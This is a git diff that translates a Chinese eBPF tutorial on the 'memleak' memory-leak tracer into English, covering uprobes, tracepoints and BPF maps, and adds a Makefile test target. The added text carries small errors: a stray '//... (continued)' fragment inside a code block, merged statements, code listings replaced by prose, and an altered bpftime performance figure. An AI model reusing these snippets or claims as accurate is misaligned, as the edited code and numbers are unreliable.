$(BPFTOOL) @@ -137,5 +138,10 @@ $(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) # delete failed targets .DELETE_ON_ERROR: +# Test program (no BPF, just plain C) +test_memleak: test_memleak.c + $(call msg,TEST,$@) + $(Q)$(CC) $(CFLAGS) $< -o $@ + # keep intermediate (.skel.h, .bpf.o, etc) targets .SECONDARY: diff --git a/src/16-memleak/README.md b/src/16-memleak/README.md index 0dfb2f44..6b36c2e7 100644 --- a/src/16-memleak/README.md +++ b/src/16-memleak/README.md @@ -1,26 +1,26 @@ -# eBPF 入门实践教程十六:编写 eBPF 程序 Memleak 监控内存泄漏 +# eBPF Tutorial by Example 16: Monitoring Memory Leaks -eBPF(扩展的伯克利数据包过滤器)是一项强大的网络和性能分析工具,被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。 +eBPF (extended Berkeley Packet Filter) is a powerful network and performance analysis tool that is widely used in the Linux kernel. eBPF allows developers to dynamically load, update, and run user-defined code without restarting the kernel or modifying its source code. -在本篇教程中,我们将探讨如何使用 eBPF 编写 Memleak 程序,以监控程序的内存泄漏。 +In this tutorial, we will explore how to write a Memleak program using eBPF to monitor memory leaks in programs. -## 背景及其重要性 +> The complete source code: -内存泄漏是计算机编程中的一种常见问题,其严重程度不应被低估。内存泄漏发生时,程序会逐渐消耗更多的内存资源,但并未正确释放。随着时间的推移,这种行为会导致系统内存逐渐耗尽,从而显著降低程序及系统的整体性能。 +## Background and Importance -内存泄漏有多种可能的原因。这可能是由于配置错误导致的,例如程序错误地配置了某些资源的动态分配。它也可能是由于软件缺陷或错误的内存管理策略导致的,如在程序执行过程中忘记释放不再需要的内存。此外,如果一个应用程序的内存使用量过大,那么系统性能可能会因页面交换(swapping)而大幅下降,甚至可能导致应用程序被系统强制终止(Linux 的 OOM killer)。 +Memory leaks are a common problem in computer programming and should not be underestimated. When memory leaks occur, programs gradually consume more memory resources without properly releasing them. Over time, this behavior can lead to a gradual depletion of system memory, significantly reducing the overall performance of the program and system. -### 调试内存泄漏的挑战 +There are many possible causes of memory leaks. It may be due to misconfiguration, such as a program incorrectly configuring dynamic allocation of certain resources. It may also be due to software bugs or incorrect memory management strategies, such as forgetting to release memory that is no longer needed during program execution. Additionally, if an application's memory usage is too high, system performance may significantly decrease due to paging/swapping, or it may even cause the application to be forcibly terminated by the system's OOM killer (Out of Memory Killer). -调试内存泄漏问题是一项复杂且挑战性的任务。这涉及到详细检查应用程序的配置、内存分配和释放情况,通常需要应用专门的工具来帮助诊断。例如,有一些工具可以在应用程序启动时将 malloc() 函数调用与特定的检测工具关联起来,如 Valgrind memcheck,这类工具可以模拟 CPU 来检查所有内存访问,但可能会导致应用程序运行速度大大减慢。另一个选择是使用堆分析器,如 libtcmalloc,它相对较快,但仍可能使应用程序运行速度降低五倍以上。此外,还有一些工具,如 gdb,可以获取应用程序的核心转储并进行后处理以分析内存使用情况。然而,这些工具通常在获取核心转储时需要暂停应用程序,或在应用程序终止后才能调用 free() 函数。 +### Challenges of Debugging Memory Leaks -## eBPF 的作用 +Debugging memory leak issues is a complex and challenging task. This involves detailed examination of the program's configuration, memory allocation, and deallocation, often requiring specialized tools to aid in diagnosis. For example, there are tools that can associate malloc() function calls with specific detection tools, such as Valgrind memcheck, which can simulate the CPU to check all memory accesses, but may greatly slow down the application's execution speed. Another option is to use heap analyzers, such as libtcmalloc, which are relatively faster but may still decrease the application's execution speed by more than five times. Additionally, there are tools like gdb that can obtain core dumps of applications and perform post-processing analysis of memory usage. However, these tools often require pausing the application during core dump acquisition or calling the free() function after the application terminates. -在这种背景下,eBPF 的作用就显得尤为重要。eBPF 提供了一种高效的机制来监控和追踪系统级别的事件,包括内存的分配和释放。通过 eBPF,我们可以跟踪内存分配和释放的请求,并收集每次分配的调用堆栈。然后,我们可以分 +## Role of eBPF -析这些信息,找出执行了内存分配但未执行释放操作的调用堆栈,这有助于我们找出导致内存泄漏的源头。这种方式的优点在于,它可以实时地在运行的应用程序中进行,而无需暂停应用程序或进行复杂的前后处理。 +In this context, the role of eBPF becomes particularly important. eBPF provides an efficient mechanism for monitoring and tracking system-level events, including memory allocation and deallocation. With eBPF, we can trace memory allocation and deallocation requests and collect the call stacks for each allocation. We can then analyze this information to identify call stacks that perform memory allocations but do not perform subsequent deallocations, helping us identify the source of memory leaks. The advantage of this approach is that it can be done in real-time within a running application without pausing the application or performing complex post-processing. -`memleak` eBPF 工具可以跟踪并匹配内存分配和释放的请求,并收集每次分配的调用堆栈。随后,`memleak` 可以打印一个总结,表明哪些调用堆栈执行了分配,但是并没有随后进行释放。例如,我们运行命令: +The `memleak` eBPF tool can trace and match memory allocation and deallocation requests, and collect the call stacks for each allocation. Subsequently, `memleak` can print a summary indicating which call stacks executed allocations but did not perform subsequent deallocations. For example, running the command: ```console # ./memleak -p $(pidof allocs) @@ -36,23 +36,23 @@ Attaching to pid 5193, Ctrl+C to quit. __libc_start_main+0xf0 [libc-2.21.so] ``` -运行这个命令后,我们可以看到分配但未释放的内存来自于哪些堆栈,并且可以看到这些未释放的内存的大小和数量。 +After running this command, we can see which stacks the allocated but not deallocated memory came from, as well as the size and quantity of these unreleased memory blocks. -随着时间的推移,很显然,`allocs` 进程的 `main` 函数正在泄漏内存,每次泄漏 16 字节。幸运的是,我们不需要检查每个分配,我们得到了一个很好的总结,告诉我们哪个堆栈负责大量的泄漏。 +Over time, it becomes evident that the `main` function of the `allocs` process is leaking memory, 16 bytes at a time. Fortunately, we don't need to inspect each allocation; we have a nice summary that tells us which stack is responsible for the significant leaks. -## memleak 的实现原理 +## Implementation Principle of memleak -在基本层面上,`memleak` 的工作方式类似于在内存分配和释放路径上安装监控设备。它通过在内存分配和释放函数中插入 eBPF 程序来达到这个目标。这意味着,当这些函数被调用时,`memleak` 就会记录一些重要信息,如调用者的进程 ID(PID)、分配的内存地址以及分配的内存大小等。当释放内存的函数被调用时,`memleak` 则会在其内部的映射表(map)中删除相应的内存分配记录。这种机制使得 `memleak` 能够准确地追踪到哪些内存块已被分配但未被释放。 +At a basic level, `memleak` operates by installing monitoring devices on the memory allocation and deallocation paths. It achieves this by inserting eBPF programs into memory allocation and deallocation functions. This means that when these functions are called, `memleak` will record important information, such as the caller's process ID (PID), the allocated memory address, and the size of the allocated memory. When the function for freeing memory is called, `memleak` will delete the corresponding memory allocation record in its internal map. This mechanism allows `memleak` to accurately trace which memory blocks have been allocated but not deallocated.For commonly used memory allocation functions in user space, such as `malloc` and `calloc`, `memleak` uses user space probing (uprobe) technology for monitoring. Uprobe is a dynamic tracing technology for user space applications, which can set breakpoints at any location at runtime without modifying the binary files, thus achieving tracing of specific function calls. -对于用户态的常用内存分配函数,如 `malloc` 和 `calloc` 等,`memleak` 利用了用户态探测(uprobe)技术来实现监控。uprobe 是一种用于用户空间应用程序的动态追踪技术,它可以在运行时不修改二进制文件的情况下在任意位置设置断点,从而实现对特定函数调用的追踪。Uprobe 在内核态 eBPF 运行时,也可能产生比较大的性能开销,这时候也可以考虑使用用户态 eBPF 运行时,例如 [bpftime](https://github.com/eunomia-bpf/bpftime)。bpftime 是一个基于 LLVM JIT/AOT 的用户态 eBPF 运行时,它可以在用户态运行 eBPF 程序,和内核态的 eBPF 兼容,避免了内核态和用户态之间的上下文切换,从而提高了 eBPF 程序的执行效率。对于 uprobe 而言,bpftime 的性能开销比 kernel 小一个数量级。 +Uprobe in kernel mode eBPF runtime may also cause relatively large performance overhead. In this case, you can also consider using user mode eBPF runtime, such as [bpftime](https://github.com/eunomia-bpf/bpftime). bpftime is a user mode eBPF runtime based on LLVM JIT/AOT. It can run eBPF programs in user mode and is compatible with kernel mode eBPF, avoiding context switching between kernel mode and user mode, thereby improving the execution efficiency of eBPF programs by 10 times. -对于内核态的内存分配函数,如 `kmalloc` 等,`memleak` 则选择使用了 tracepoint 来实现监控。Tracepoint 是一种在 Linux 内核中提供的动态追踪技术,它可以在内核运行时动态地追踪特定的事件,而无需重新编译内核或加载内核模块。 +For kernel space memory allocation functions, such as `kmalloc`, `memleak` chooses to use tracepoints for monitoring. Tracepoint is a dynamic tracing technology provided in the Linux kernel, which can dynamically trace specific events in the kernel at runtime without recompiling the kernel or loading kernel modules. -## 内核态 eBPF 程序实现 +## Kernel Space eBPF Program Implementation -## `memleak` 内核态 eBPF 程序实现 +## `memleak` Kernel Space eBPF Program Implementation -`memleak` 的内核态 eBPF 程序包含一些用于跟踪内存分配和释放的关键函数。在我们深入了解这些函数之前,让我们首先观察 `memleak` 所定义的一些数据结构,这些结构在其内核态和用户态程序中均有使用。 +The kernel space eBPF program of `memleak` contains some key functions for tracking memory allocation and deallocation. Before delving into these functions, let's first take a look at some data structures defined by `memleak`, which are used in both its kernel space and user space programs. ```c #ifndef __MEMLEAK_H @@ -62,29 +62,29 @@ Attaching to pid 5193, Ctrl+C to quit. #define COMBINED_ALLOCS_MAX_ENTRIES 10240 struct alloc_info { - __u64 size; // 分配的内存大小 - __u64 timestamp_ns; // 分配时的时间戳,单位为纳秒 - int stack_id; // 分配时的调用堆栈ID + __u64 size; // Size of allocated memory + __u64 timestamp_ns; // Timestamp when allocation occurs, in nanoseconds + int stack_id; // Call stack ID when allocation occurs }; union combined_alloc_info { struct { - __u64 total_size : 40; // 所有未释放分配的总大小 - __u64 number_of_allocs : 24; // 所有未释放分配的总次数 + __u64 total_size : 40; // Total size of all unreleased allocations + __u64 number_of_allocs : 24; // Total number of unreleased allocations }; - __u64 bits; // 结构的位图表示 + __u64 bits; // Bitwise representation of the structure }; #endif /* __MEMLEAK_H */ ``` -这里定义了两个主要的数据结构:`alloc_info` 和 `combined_alloc_info`。 +Here, two main data structures are defined: `alloc_info` and `combined_alloc_info`. -`alloc_info` 结构体包含了一个内存分配的基本信息,包括分配的内存大小 `size`、分配发生时的时间戳 `timestamp_ns`,以及触发分配的调用堆栈 ID `stack_id`。 +The `alloc_info` structure contains basic information about a memory allocation, including the allocated memory size `size`, the timestamp `timestamp_ns` when the allocation occurs, and the call stack ID `stack_id` that triggers the allocation. -`combined_alloc_info` 是一个联合体(union),它包含一个嵌入的结构体和一个 `__u64` 类型的位图表示 `bits`。嵌入的结构体有两个成员:`total_size` 和 `number_of_allocs`,分别代表所有未释放分配的总大小和总次数。其中 40 和 24 分别表示 total_size 和 number_of_allocs这两个成员变量所占用的位数,用来限制其大小。通过这样的位数限制,可以节省combined_alloc_info结构的存储空间。同时,由于total_size和number_of_allocs在存储时是共用一个unsigned long long类型的变量bits,因此可以通过在成员变量bits上进行位运算来访问和修改total_size和number_of_allocs,从而避免了在程序中定义额外的变量和函数的复杂性。 +The `combined_alloc_info` is a union that contains an embedded structure and a `__u64` type bitwise representation `bits`. The embedded structure has two members: `total_size` and `number_of_allocs`, representing the total size and total count of unreleased allocations, respectively. The numbers 40 and 24 indicate the number of bits occupied by the `total_size` and `number_of_allocs` members, limiting their size. By using this limitation, storage space for the `combined_alloc_info` structure can be saved. Moreover, since `total_size` and `number_of_allocs` share the same `unsigned long long` type variable `bits` for storage, bitwise operations on the member variable `bits` can be used to access and modify `total_size` and `number_of_allocs`, avoiding the complexity of defining additional variables and functions in the program. -接下来,`memleak` 定义了一系列用于保存内存分配信息和分析结果的 eBPF 映射(maps)。这些映射都以 `SEC(".maps")` 的形式定义,表示它们属于 eBPF 程序的映射部分。 +Next, `memleak` defines a series of eBPF maps for storing memory allocation information and analysis results. These maps are defined in the form of `SEC(".maps")`, indicating that they belong to the mapping section of the eBPF program. ```c const volatile size_t min_size = 0; @@ -103,7 +103,7 @@ struct { } sizes SEC(".maps"); struct { - __uint(type, BPF_MAP_TYPE_HASH); + //... (continued)__uint(type, BPF_MAP_TYPE_HASH); __type(key, u64); /* address */ __type(value, struct alloc_info); __uint(max_entries, ALLOCS_MAX_ENTRIES); @@ -131,52 +131,52 @@ struct { static union combined_alloc_info initial_cinfo; ``` -这段代码首先定义了一些可配置的参数,如 `min_size`, `max_size`, `page_size`, `sample_rate`, `trace_all`, `stack_flags` 和 `wa_missing_free`,分别表示最小分配大小、最大分配大小、页面大小、采样率、是否追踪所有分配、堆栈标志和是否工作在缺失释放(missing free)模式。 +The code first defines some configurable parameters, such as `min_size`, `max_size`, `page_size`, `sample_rate`, `trace_all`, `stack_flags`, and `wa_missing_free`, representing the minimum allocation size, maximum allocation size, page size, sample rate, whether to trace all allocations, stack flags, and whether to work in missing free mode. -接着定义了五个映射: +Then, five maps are defined: -1. `sizes`:这是一个哈希类型的映射,键为进程 ID,值为 `u64` 类型,存储每个进程的分配大小。 -2. `allocs`:这也是一个哈希类型的映射,键为分配的地址,值为 `alloc_info` 结构体,存储每个内存分配的详细信息。 -3. `combined_allocs`:这是另一个哈希类型的映射,键为堆栈 ID,值为 `combined_alloc_info` 联合体,存储所有未释放分配的总大小和总次数。 -4. `memptrs`:这也是一个哈希类型的映射,键和值都为 `u64` 类型,用于在用户空间和内核空间之间传递内存指针。 -5. `stack_traces`:这是一个堆栈追踪类型的映射,键为 `u32` 类型,用于存储堆栈 ID。 +1. `sizes`: This is a hash-type map with the key as the process ID and the value as `u64` type, storing the allocation size of each process. +2. `allocs`: This is also a hash-type map with the key as the allocation address and the value as the `alloc_info` structure, storing detailed information about each memory allocation. +3. `combined_allocs`: This is another hash-type map with the key as the stack ID and the value as the `combined_alloc_info` union, storing the total size and count of all unreleased allocations. +4. `memptrs`: This is also a hash-type map with both the key and value as `u64` type, used to pass memory pointers between user space and kernel space. +5. `stack_traces`: This is a stack trace-type map with the key as `u32` type, used to store stack IDs. -以用户态的内存分配追踪部分为例,主要是挂钩内存相关的函数调用,如 `malloc`, `free`, `calloc`, `realloc`, `mmap` 和 `munmap`,以便在调用这些函数时进行数据记录。在用户态,`memleak` 主要使用了 uprobes 技术进行挂载。 +Taking the user-space memory allocation tracing as an example, it mainly hooks memory-related function calls such as `malloc`, `free`, `calloc`, `realloc`, `mmap`, and `munmap` to record data when these functions are called. In user space, `memleak` mainly uses uprobes technology for hooking. -每个函数调用被分为 "enter" 和 "exit" 两部分。"enter" 部分记录的是函数调用的参数,如分配的大小或者释放的地址。"exit" 部分则主要用于获取函数的返回值,如分配得到的内存地址。 +Each function call is divided into "enter" and "exit" parts. The "enter" part records the function call parameters, such as the size of the allocation or the address being freed. The "exit" part is mainly used to obtain the return value of the function, such as the memory address obtained from the allocation. -这里,`gen_alloc_enter`, `gen_alloc_exit`, `gen_free_enter` 是实现记录行为的函数,他们分别用于记录分配开始、分配结束和释放开始的相关信息。 +Here, `gen_alloc_enter`, `gen_alloc_exit`, `gen_free_enter` are functions that implement the recording behavior, and they are used to record relevant information when allocation starts, allocation ends, and freeing starts, respectively. -函数原型示例如下: +The function prototype is as follows: ```c SEC("uprobe") int BPF_KPROBE(malloc_enter, size_t size) { - // 记录分配开始的相关信息 + // Record relevant information when allocation starts return gen_alloc_enter(size); } SEC("uretprobe") int BPF_KRETPROBE(malloc_exit) { - // 记录分配结束的相关信息 + // Record relevant information when allocation ends return gen_alloc_exit(ctx); } SEC("uprobe") int BPF_KPROBE(free_enter, void *address) { - // 记录释放开始的相关信息 + // Record relevant information when freeing starts return gen_free_enter(address); } ``` -其中,`malloc_enter` 和 `free_enter` 是分别挂载在 `malloc` 和 `free` 函数入口处的探针(probes),用于在函数调用时进行数据记录。而 `malloc_exit` 则是挂载在 `malloc` 函数的返回处的探针,用于记录函数的返回值。 +`malloc_enter` and `free_enter` are probes mounted at the entry points of the `malloc` and `free` functions, respectively, to record data during function calls. `malloc_exit` is a probe mounted at the return point of the `malloc` function to record the return value of the function. -这些函数使用了 `BPF_KPROBE` 和 `BPF_KRETPROBE` 这两个宏来声明,这两个宏分别用于声明 kprobe(内核探针)和 kretprobe(内核返回探针)。具体来说,kprobe 用于在函数调用时触发,而 kretprobe 则是在函数返回时触发。 +These functions are declared using the `BPF_KPROBE` and `BPF_KRETPROBE` macros, which are used to declare kprobes (kernel probes) and kretprobes (kernel return probes), respectively. Specifically, kprobe is triggered during function calls, while kretprobe is triggered during function returns. -`gen_alloc_enter` 函数是在内存分配请求的开始时被调用的。这个函数主要负责在调用分配内存的函数时收集一些基本的信息。下面我们将深入探讨这个函数的实现。 +The `gen_alloc_enter` function is called at the beginning of a memory allocation request. This function is mainly responsible for collecting some basic information when the function that allocates memory is called. Now, let's take a deep dive into the implementation of this function. ```c static int gen_alloc_enter(size_t size) @@ -205,20 +205,18 @@ int BPF_KPROBE(malloc_enter, size_t size) } ``` -首先,`gen_alloc_enter` 函数接收一个 `size` 参数,这个参数表示请求分配的内存的大小。如果这个值不在 `min_size` 和 `max_size` 之间,函数将直接返回,不再进行后续的操作。这样可以使工具专注于追踪特定范围的内存分配请求,过滤掉不感兴趣的分配请求。 - -接下来,函数检查采样率 `sample_rate`。如果 `sample_rate` 大于1,意味着我们不需要追踪所有的内存分配请求,而是周期性地追踪。这里使用 `bpf_ktime_get_ns` 获取当前的时间戳,然后通过取模运算来决定是否需要追踪当前的内存分配请求。这是一种常见的采样技术,用于降低性能开销,同时还能够提供一个代表性的样本用于分析。 +First, the `gen_alloc_enter` function takes a `size` parameter that represents the size of the requested memory allocation. If this value is not between `min_size` and `max_size`, the function will return directly without performing any further operations. This allows the tool to focus on tracing memory allocation requests within a specific range and filter out uninteresting allocation requests. -之后,函数使用 `bpf_get_current_pid_tgid` 函数获取当前进程的 PID。注意这里的 PID 实际上是进程和线程的组合 ID,我们通过右移 32 位来获取真正的进程 ID。 +Next, the function checks the sampling rate `sample_rate`. If `sample_rate` is greater than 1, it means that we don't need to trace all memory allocation requests, but rather trace them periodically. Here, `bpf_ktime_get_ns` is used to get the current timestamp, and the modulus operation is used to determine whether to trace the current memory allocation request. This is a common sampling technique used to reduce performance overhead while providing a representative sample for analysis. -函数接下来更新 `sizes` 这个 map,这个 map 以进程 ID 为键,以请求的内存分配大小为值。`BPF_ANY` 表示如果 key 已存在,那么更新 value,否则就新建一个条目。 +Then, the function uses the `bpf_get_current_pid_tgid` function to retrieve the current process's PID. Note that the PID here is actually a combination of the process ID and thread ID, and we shift it right by 32 bits to get the actual process ID. -最后,如果启用了 `trace_all` 标志,函数将打印一条信息,说明发生了内存分配。 +The function then updates the `sizes` map, which uses the process ID as the key and the requested memory allocation size as the value. `BPF_ANY` indicates that if the key already exists, the value will be updated; otherwise, a new entry will be created. -`BPF_KPROBE` 宏用于 +Finally, if the `trace_all` flag is enabled, the function will print a message indicating that a memory allocation has occurred. -最后定义了 `BPF_KPROBE(malloc_enter, size_t size)`,它会在 `malloc` 函数被调用时被 BPF uprobe 拦截执行,并通过 `gen_alloc_enter` 来记录内存分配大小。 -我们刚刚分析了内存分配的入口函数 `gen_alloc_enter`,现在我们来关注这个过程的退出部分。具体来说,我们将讨论 `gen_alloc_exit2` 函数以及如何从内存分配调用中获取返回的内存地址。 +The `BPF_KPROBE` macro is used to intercept the execution of the `malloc` function with a BPF uprobe when the `malloc_enter` function is called, and it records the memory allocation size using `gen_alloc_enter`. +We have just analyzed the entry function `gen_alloc_enter` of memory allocation, now let's focus on the exit part of this process. Specifically, we will discuss the `gen_alloc_exit2` function and how to obtain the returned memory address from the memory allocation call. ```c static int gen_alloc_exit2(void *ctx, u64 address) @@ -232,8 +230,7 @@ static int gen_alloc_exit2(void *ctx, u64 address) __builtin_memset(&info, 0, sizeof(info)); - info.size = *size; - bpf_map_delete_elem(&sizes, &pid); + info.size = *size;bpf_map_delete_elem(&sizes, &pid); if (address != 0) { info.timestamp_ns = bpf_ktime_get_ns(); @@ -252,6 +249,7 @@ static int gen_alloc_exit2(void *ctx, u64 address) return 0; } + static int gen_alloc_exit(struct pt_regs *ctx) { return gen_alloc_exit2(ctx, PT_REGS_RC(ctx)); @@ -264,18 +262,19 @@ int BPF_KRETPROBE(malloc_exit) } ``` -`gen_alloc_exit2` 函数在内存分配操作完成时被调用,这个函数接收两个参数,一个是上下文 `ctx`,另一个是内存分配函数返回的内存地址 `address`。 +`gen_alloc_exit2` function is called when the memory allocation operation is completed. This function takes two parameters, one is the context `ctx` and the other is the memory address returned by the memory allocation function `address`. -首先,它获取当前线程的 PID,然后使用这个 PID 作为键在 `sizes` 这个 map 中查找对应的内存分配大小。如果没有找到(也就是说,没有对应的内存分配操作的入口),函数就会直接返回。 +First, it obtains the PID (Process ID) of the current thread and uses it as a key to look up the corresponding memory allocation size in the `sizes` map. If not found (i.e., no entry for the memory allocation operation), the function simply returns. -接着,函数清除 `info` 结构体的内容,并设置它的 `size` 字段为之前在 map 中找到的内存分配大小。并从 `sizes` 这个 map 中删除相应的元素,因为此时内存分配操作已经完成,不再需要这个信息。 +Then, it clears the content of the `info` structure and sets its `size` field to the memory allocation size found in the map. It also removes the corresponding element from the `sizes` map because the memory allocation operation has completed and this information is no longer needed. -接下来,如果 `address` 不为 0(也就是说,内存分配操作成功了),函数就会进一步收集一些额外的信息。首先,它获取当前的时间戳作为内存分配完成的时间,并获取当前的堆栈跟踪。这些信息都会被储存在 `info` 结构体中,并随后更新到 `allocs` 这个 map 中。 +Next, if `address` is not zero (indicating a successful memory allocation operation), the function further collects some additional information. First, it obtains the current timestamp as the completion time of the memory allocation and fetches the current stack trace. These pieces of information are stored in the `info` structure and subsequently updated in the `allocs` map. -最后,函数调用 `update_statistics_add` 更新统计数据,如果启用了所有内存分配操作的跟踪,函数还会打印一些关于内存分配操作的信息。 +Finally, the function calls `update_statistics_add` to update the statistics data and, if tracing of all memory allocation operations is enabled, it prints some information about the memory allocation operation. -请注意,`gen_alloc_exit` 函数是 `gen_alloc_exit2` 的一个包装,它将 `PT_REGS_RC(ctx)` 作为 `address` 参数传递给 `gen_alloc_exit2`。` -在我们的讨论中,我们刚刚提到在 `gen_alloc_exit2` 函数中,调用了 `update_statistics_add` 函数以更新内存分配的统计数据。下面我们详细看一下这个函数的具体实现。 +Note that, `gen_alloc_exit` is a wrapper for `gen_alloc_exit2`, which passes `PT_REGS_RC(ctx)` as the `address` parameter to `gen_alloc_exit2`. + +In our discussion, we just mentioned that `update_statistics_add` function is called in the `gen_alloc_exit2` function to update the statistics data for memory allocations. Now let's take a closer look at the implementation of this function. ```c static void update_statistics_add(u64 stack_id, u64 sz) @@ -295,68 +294,30 @@ static void update_statistics_add(u64 stack_id, u64 sz) } ``` -`update_statistics_add` 函数接收两个参数:当前的堆栈 ID `stack_id` 以及内存分配的大小 `sz`。这两个参数都在内存分配事件中收集到,并且用于更新内存分配的统计数据。 +The `update_statistics_add` function takes two parameters: the current stack ID `stack_id` and the size of the memory allocation `sz`. These two parameters are collected in the memory allocation event and used to update the statistics data for memory allocations.First, the function tries to find the element with the current stack ID as the key in the `combined_allocs` map. If it is not found, a new element is initialized with `initial_cinfo` (which is a default `combined_alloc_info` structure with all fields set to zero). -首先,函数尝试在 `combined_allocs` 这个 map 中查找键值为当前堆栈 ID 的元素,如果找不到,就用 `initial_cinfo`(这是一个默认的 combined_alloc_info 结构体,所有字段都为零)来初始化新的元素。 +Next, the function creates an `incremental_cinfo` and sets its `total_size` to the current memory allocation size and `number_of_allocs` to 1. This is because each call to the `update_statistics_add` function represents a new memory allocation event, and the size of this event's memory allocation is `sz`. -接着,函数创建一个 `incremental_cinfo`,并设置它的 `total_size` 为当前内存分配的大小,设置 `number_of_allocs` 为 1。这是因为每次调用 `update_statistics_add` 函数都表示有一个新的内存分配事件发生,而这个事件的内存分配大小就是 `sz`。 +Finally, the function atomically adds the value of `incremental_cinfo` to `existing_cinfo` using the `__sync_fetch_and_add` function. Note that this step is thread-safe, so even if multiple threads call the `update_statistics_add` function concurrently, each memory allocation event will be correctly recorded in the statistics. -最后,函数使用 `__sync_fetch_and_add` 函数原子地将 `incremental_cinfo` 的值加到 `existing_cinfo` 中。请注意这个步骤是线程安全的,即使有多个线程并发地调用 `update_statistics_add` 函数,每个内存分配事件也能正确地记录到统计数据中。 +In summary, the `update_statistics_add` function implements the logic for updating memory allocation statistics. By maintaining the total amount and number of memory allocations for each stack ID, we can gain insight into the memory allocation behavior of the program. -总的来说,`update_statistics_add` 函数实现了内存分配统计的更新逻辑,通过维护每个堆栈 ID 的内存分配总量和次数,我们可以深入了解到程序的内存分配行为。 -在我们对内存分配的统计跟踪过程中,我们不仅要统计内存的分配,还要考虑内存的释放。在上述代码中,我们定义了一个名为 `update_statistics_del` 的函数,其作用是在内存释放时更新统计信息。而 `gen_free_enter` 函数则是在进程调用 `free` 函数时被执行。 +In our process of tracking memory allocation statistics, we not only need to count memory allocations but also consider memory releases. In the above code, we define a function called `update_statistics_del` that updates the statistics when memory is freed. The function `gen_free_enter` is executed when the process calls the `free` function. -```c -static void update_statistics_del(u64 stack_id, u64 sz) -{ - union combined_alloc_info *existing_cinfo; +The `update_statistics_del` function takes the stack ID and the size of the memory block to be freed as parameters. First, the function uses the current stack ID as the key to look up the corresponding `combined_alloc_info` structure in the `combined_allocs` map. If it is not found, an error message is output and the function returns. If it is found, a `decremental_cinfo` `combined_alloc_info` structure is constructed with its `total_size` set to the size of the memory to be freed and `number_of_allocs` set to 1. Then the `__sync_fetch_and_sub` function is used to atomically subtract the value of `decremental_cinfo` from `existing_cinfo`. Note that the `number_of_allocs` here is negative, indicating a decrease in memory allocation. - existing_cinfo = bpf_map_lookup_elem(&combined_allocs, &stack_id); - if (!existing_cinfo) { - bpf_printk("failed to lookup combined allocs\n"); - return; - } - - const union combined_alloc_info decremental_cinfo = { - .total_size = sz, - .number_of_allocs = 1 - }; - - __sync_fetch_and_sub(&existing_cinfo->bits, decremental_cinfo.bits); -} -``` - -`update_statistics_del` 函数的参数为堆栈 ID 和要释放的内存块大小。函数首先在 `combined_allocs` 这个 map 中使用当前的堆栈 ID 作为键来查找相应的 `combined_alloc_info` 结构体。如果找不到,就输出错误信息,然后函数返回。如果找到了,就会构造一个名为 `decremental_cinfo` 的 `combined_alloc_info` 结构体,设置它的 `total_size` 为要释放的内存大小,设置 `number_of_allocs` 为 1。然后使用 `__sync_fetch_and_sub` 函数原子地从 `existing_cinfo` 中减去 `decremental_cinfo` 的值。请注意,这里的 `number_of_allocs` 是负数,表示减少了一个内存分配。 +The `gen_free_enter` function takes the address to be freed as a parameter. It first converts the address to an unsigned 64-bit integer (`u64`). Then it looks up the `alloc_info` structure in the `allocs` map using the address as the key. If it is not found, the function returns 0. If it is found, the `alloc_info` structure is deleted from the `allocs` map, and the `update_statistics_del` function is called with the stack ID and size from `info`. If `trace_all` is true, an information message is output. ```c -static int gen_free_enter(const void *address) -{ - const u64 addr = (u64)address; - - const struct alloc_info *info = bpf_map_lookup_elem(&allocs, &addr); - if (!info) - return 0; - - bpf_map_delete_elem(&allocs, &addr); - update_statistics_del(info->stack_id, info->size); - - if (trace_all) { - bpf_printk("free entered, address = %lx, size = %lu\n", - address, info->size); - } - - return 0; -} - -SEC("uprobe") int BPF_KPROBE(free_enter, void *address) { return gen_free_enter(address); } ``` -接下来看 `gen_free_enter` 函数。它接收一个地址作为参数,这个地址是内存分配的结果,也就是将要释放的内存的起始地址。函数首先在 `allocs` 这个 map 中使用这个地址作为键来查找对应的 `alloc_info` 结构体。如果找不到,那么就直接返回,因为这意味着这个地址并没有被分配过。如果找到了,那么就删除这个元素,并且调用 `update_statistics_del` 函数来更新统计数据。最后,如果启用了全局追踪,那么还会输出一条信息,包括这个地址以及它的大小。 -在我们追踪和统计内存分配的同时,我们也需要对内核态的内存分配和释放进行追踪。在Linux内核中,kmem_cache_alloc函数和kfree函数分别用于内核态的内存分配和释放。 +Next, let's look at the `gen_free_enter` function. It takes an address as a parameter, which is the result of memory allocation, i.e., the starting address of the memory to be freed. The function first uses this address as a key to search for the corresponding `alloc_info` structure in the `allocs` map. If it is not found, it simply returns because it means that this address has not been allocated. If it is found, the element is deleted, and the `update_statistics_del` function is called to update the statistics data. Finally, if global tracking is enabled, a message is also output, including this address and its size. + +While tracking and profiling memory allocation, we also need to track kernel-mode memory allocation and deallocation. In the Linux kernel, the `kmem_cache_alloc` function and the `kfree` function are used for kernel-mode memory allocation and deallocation, respectively. ```c SEC("tracepoint/kmem/kfree") @@ -376,7 +337,7 @@ int memleak__kfree(void *ctx) } ``` -上述代码片段定义了一个函数memleak__kfree,这是一个bpf程序,会在内核调用kfree函数时执行。首先,该函数检查是否存在kfree函数。如果存在,则会读取传递给kfree函数的参数(即要释放的内存块的地址),并保存到变量ptr中;否则,会读取传递给kmem_free函数的参数(即要释放的内存块的地址),并保存到变量ptr中。接着,该函数会调用之前定义的gen_free_enter函数来处理该内存块的释放。 +The above code snippet defines a function `memleak__kfree`. This is a BPF program that will be executed when the `kfree` function is called in the kernel. First, the function checks if `kfree` exists. If it does, it reads the argument passed to the `kfree` function (i.e., the address of the memory block to be freed) and saves it in the variable `ptr`. Otherwise, it reads the argument passed to the `kmem_free` function (i.e., the address of the memory block to be freed) and saves it in the variable `ptr`. Then, the function calls the previously defined `gen_free_enter` function to handle the release of this memory block. ```c SEC("tracepoint/kmem/kmem_cache_alloc") @@ -391,22 +352,21 @@ int memleak__kmem_cache_alloc(struct trace_event_raw_kmem_alloc *ctx) } ``` -这段代码定义了一个函数 memleak__kmem_cache_alloc,这也是一个bpf程序,会在内核调用 kmem_cache_alloc 函数时执行。如果标记 wa_missing_free 被设置,则调用 gen_free_enter 函数处理可能遗漏的释放操作。然后,该函数会调用 gen_alloc_enter 函数来处理内存分配,最后调用gen_alloc_exit2函数记录分配的结果。 +This code snippet defines a function `memleak__kmem_cache_alloc`. This is also a BPF program that will be executed when the `kmem_cache_alloc` function is called in the kernel. If the `wa_missing_free` flag is set, it calls the `gen_free_enter` function to handle possible missed release operations. Then, the function calls the `gen_alloc_enter` function to handle memory allocation and 